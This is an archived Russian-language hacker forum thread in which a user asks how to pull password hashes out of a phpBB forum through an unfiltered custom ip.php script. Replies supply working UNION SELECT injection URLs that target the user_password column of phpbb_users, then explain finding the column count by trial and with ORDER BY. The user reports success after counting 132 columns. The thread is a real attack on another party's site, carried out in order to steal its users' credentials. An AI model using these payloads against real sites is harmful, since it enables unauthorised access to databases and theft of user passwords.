PDA

Просмотр полной версии : Елементарная sql-иньекция


n01038
24.12.2007, 05:06
Проблема такая, на одном форуме phpbb есть самописаный скрипт каторый может проверять юзеров на сходство по ИП. В таблеце phpbb_users в какойто колонке сохраняется последний ИП юзера с каторого он заходил, но в етом скрипте нет никакой фильтрации, например, если я хочу узнать у каво из посетителей пароль "123123", тогда мне нужно зделать так /ip.php?id=0+union+select+*+from+phpbb_users+where+ user_password='4297f44b13955235245b2497399d7a93' и т.д. Сам скрипт выдает только ид/ник/ип юзера и все, как можно пробить пароль юзера по id?

+toxa+
24.12.2007, 05:16
/ip.php?id=0+union+select+1,user_password,3,4+from+ phpbb_users+where+user_id=1
с учётом того что 4 колонки, вторая выводящая

n01038
24.12.2007, 05:30
/ip.php?id=0+union+select+1,user_password,3,4+from+ phpbb_users+where+user_id=1
с учётом того что 4 колонки, вторая выводящая
Вот так скрипт ответил :

Could not query attachment informations

DEBUG MODE

SQL Error : 1222 The used SELECT statements have a different number of columns

SELECT * FROM phpbb_users WHERE user_id = 0 union select 1,user_password,3,4 from phpbb_users where user_id=1

Line : 51
File : ip.php

aka PSIH
24.12.2007, 05:41
число колонок подбирай...
union select 1,2,3 и так далее/* пока не подберешь число колонок..
Как подберешь смотри какие из них выводятся…

n01038
24.12.2007, 06:03
уже до 100 дошел, значит здесь либо много колонок либо я делаю чтото нетак

n01038
24.12.2007, 06:48
ужас, 132 колонки было, спасибо запомошь всем кто отписался :)

aka PSIH
24.12.2007, 07:04
n01038
Не обязательно было все 132 колонки перебирать.. :)
можно было быстро и просто через order by & group by подобрать ;)

n01038
24.12.2007, 09:05
n01038
Не обязательно было все 132 колонки перебирать.. :)
можно было быстро и просто через order by & group by подобрать ;)
можно по подробней? :)

[aywo]
24.12.2007, 11:00
набиаешь например /ip.php?id=0+order+by+100/*, если ошибка появилась значит число колонок меньше 100, если не появилась значить больше или равно 100...